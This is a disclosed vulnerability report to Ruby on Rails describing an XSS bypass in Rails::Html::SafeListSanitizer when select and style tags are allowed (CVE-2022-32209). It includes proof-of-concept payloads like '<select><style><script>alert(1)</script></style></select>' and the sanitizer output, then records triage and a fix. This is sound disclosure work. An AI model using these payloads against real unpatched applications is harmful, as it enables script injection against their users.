7 Rails::Html::SafeListSanitizer vulnerable to xss attack in an environment that allows the style tag

Share:

TIMELINE

windshock submitted a report to Ruby on Rails. Apr 5th (8 months ago)

It seems to be a problem caused by a difference between the nokogiri java implementation and the ruby implementation.
It seems to be an ambiguous case as to whether to do it with nokogiri or have rails-html-sanitizer defend it.

jruby9.3.3.0 (nokogiri java), use Rails::Html::SafeListSanitizer.new.sanitize, allow select/style tag
code

Code 436 Bytes Wrap lines Copy Download

```
1  tags = %w(select style)
2  puts "------------------------------------------------------------------"
3  puts "use Rails::Html::SafeListSanitizer.new.sanitize, allow select/style tag"
4  puts "input: <select<style/>W<xmp<script>alert(1)</script>"
5  puts "output: "+Rails::Html::SafeListSanitizer.new.sanitize("<select<style/>W<xmp<scr
6  puts "------------------------------------------------------------------"
```

result

Code 670 Bytes Wrap lines Copy Download

```
1  input: <select<style/>W<xmp<script>alert(1)</script>
2  scrub --> node type :Nokogiri::XML::Text, node name :text, node to_s :W
3  scrub --> node type :Nokogiri::XML::Text, node name :text, node to_s :&lt;script&gt;a
4  scrub --> node type :Nokogiri::XML::Element, node name :xmp, node to_s :<xmp>&lt;scri
5  scrub --> node type :Nokogiri::XML::Element, node name :style, node to_s :<style>W<sc
```

Impact

It is possible to bypass Rails::Html::SafeListSanitizer filtering and perform an XSS attack.

flavorjones Ruby on Rails staff changed the status to ○ **Triaged**. Apr 5th (8 months ago)

@windshock Thank you for submitting this report. I've reproduced this, but I do want to do a bit more investigation into whether the right place to fix this is in rails-html-sanitizer or in Nokogiri's JRuby parser, nekohtml.

May 30th (6 months ago)

flavorjones Ruby on Rails staff changed the report title from **Rails::Html::SafeListSanitizer can be vulnerable to xss attack in an environment that allows the style tag and uses jruby.** to **Rails::Html::SafeListSanitizer vulnerable to xss attack in an environment that allows the style tag**.

flavorjones Ruby on Rails staff posted a comment. May 30th (6 months ago)

This is a problem for CRuby as well if you use straightforward HTML that doesn't depend on how the parser corrects broken markup.

Code 157 Bytes Wrap lines Copy Download

```
1  frag = "<select><style><script>alert(1)</script></style></select>"
2  tags = %w(select style)
3  puts Rails::Html::SafeListSanitizer.new.sanitize(frag, tags: tags)
```

outputs

Code 57 Bytes Wrap lines Copy Download

```
1  <select><style><script>alert(1)</script></style></select>
```

on both CRuby and JRuby.

windshock posted a comment. May 31st (6 months ago)

In CVE-2015-7580 (https://github.com/rails/rails-html-sanitizer/commit/63903b0eaa6d2a4e1c91bc86008256c4c8335e78),
the tags option (only em) of the test case, and the escape handling when processing cdata as text seem to be lacking.

```
1  bottom up traverse node type :Nokogiri::XML::Element, node name :style, node to_s :<s
2  bottom up traverse node type :Nokogiri::XML::CDATA, node name :#cdata-section, node t
3  node type :Nokogiri::XML::CDATA, node name :#cdata-section, node to_s :<script>alert(
4  scrub node.cdata text = <script>alert(1)</script>```
```

flavorjones Ruby on Rails staff posted a comment. May 31st (6 months ago)

@windshock The CVE is for a slightly different issue; my point was only that this commit was when the behavior you're seeing was introduced (as a side effect). We're discussing which of several options we should use to fix this.

flavorjones Ruby on Rails staff posted a comment. Jun 9th (6 months ago)

v1.4.3 has been released with a fix.

flavorjones Ruby on Rails staff closed the report and changed the status to ○ **Resolved**. Jun 9th (6 months ago)

flavorjones Ruby on Rails staff updated CVE reference to CVE-2022-32209. Jun 9th (6 months ago)

flavorjones Ruby on Rails staff requested to disclose this report. Jun 9th (6 months ago)

flavorjones Ruby on Rails staff posted a comment. Jun 9th (6 months ago)

Announcement made at https://discuss.rubyonrails.org/t/cve-2022-32209-possible-xss-vulnerability-in-rails-sanitizer/80800

windshock agreed to disclose this report. Jun 13th (5 months ago)

This report has been disclosed. Jun 13th (5 months ago)